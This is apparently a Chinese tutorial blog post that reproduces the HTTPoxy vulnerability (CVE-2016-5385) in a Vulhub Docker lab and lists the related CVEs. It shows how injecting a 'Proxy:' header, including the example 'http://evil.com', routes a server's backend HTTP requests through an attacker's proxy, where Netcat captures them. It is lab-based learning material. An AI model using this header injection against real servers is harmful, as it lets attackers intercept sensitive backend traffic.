Vulhub漏洞系列:HTTPoxy漏洞(CVE-2016-5385)

Vulhub漏洞系列:HTTPoxy漏洞(CVE-2016-5385)

00.前言:


这篇文章将对该漏洞进行简介并复现,同时简要说明Vulhub的使用方法,适合小白一起学习,大佬看看就好☺


01.HTTPoxy简介

  httpoxy是一个CGI应用环境的远程利用漏洞,影响一系列以PHP为主要代表的Web动态语言和Apache、Nginx等Web服务器。

02.漏洞描述

  根据RFC 3875规定,CGI(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。

PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中。本环境使用PHP 5.6.23为例。

当然,该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。CVE-2016-5385是PHP的CVE,HTTPoxy所有的CVE编号如下:

  • CVE-2016-5385: PHP
  • CVE-2016-5386: Go
  • CVE-2016-5387: Apache HTTP Server
  • CVE-2016-5388: Apache Tomcat
  • CVE-2016-6286: spiffy-cgi-handlers for CHICKEN
  • CVE-2016-6287: CHICKEN’s http-client
  • CVE-2016-1000104: mod_fcgi
  • CVE-2016-1000105: Nginx cgi script
  • CVE-2016-1000107: Erlang inets
  • CVE-2016-1000108: YAWS
  • CVE-2016-1000109: HHVM FastCGI
  • CVE-2016-1000110: Python CGIHandler
  • CVE-2016-1000111: Python Twisted
  • CVE-2016-1000212: lighttpd

参考链接:https://httpoxy.org/
     http://www.laruence.com/2016/07/19/3101.html

03.漏洞复现

  首先,在vulhub-master中漏洞的相应位置打开终端,输入docker-compose up -d打开环境:

  docker-compose up -d

  然后输入docker ps查看环境是否打开成功:

  docker ps

  接下来便可以开始漏洞的复现了。由于该漏洞是因为部分Web应用框架在发起HTTP请求时,会默认使用系统环境变量HTTP_PROXY值作为代理服务器地址,而CGI标准(RFC 3875)中规定,可以在HTTP请求中通过添加PROXY头,从而修改服务器的环境变量HTTP_PROXY值。基于以上两个前提,可以构造一个巧妙的HTTP请求,劫持截获Web服务后端发起的内部Web业务请求,从而导致后端请求的数据泄露或篡改风险。

https://www.zhihu.com/question/48638584/answer/112348743

  我们开始实操:访问地址http://your-ip:8080/index.php,可见其Origin为当前请求的服务器:
在这里插入图片描述

然后在其他地方启动一个可以正常使用的http代理,如http://*.*.237.251:80/

附带Proxy: http://*.*.237.251:80/头,再次访问http://your-ip:8080/index.php

在这里插入图片描述如上图,可见此时的Origin已经变成*.*.237.251,也就是说真正进行HTTP访问的服务器是*.*.237.251,也就是说*.*.237.251已经将正常的HTTP请求代理了。

*.*.237.251上使用Netcat,就可以捕获当前请求的数据包,其中可能包含敏感数据

最后复现完漏洞就可以关闭环境了:

  docker-compose down

结束语:这是抬锅整理出来的复现过程希望能对大家有帮助☺

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值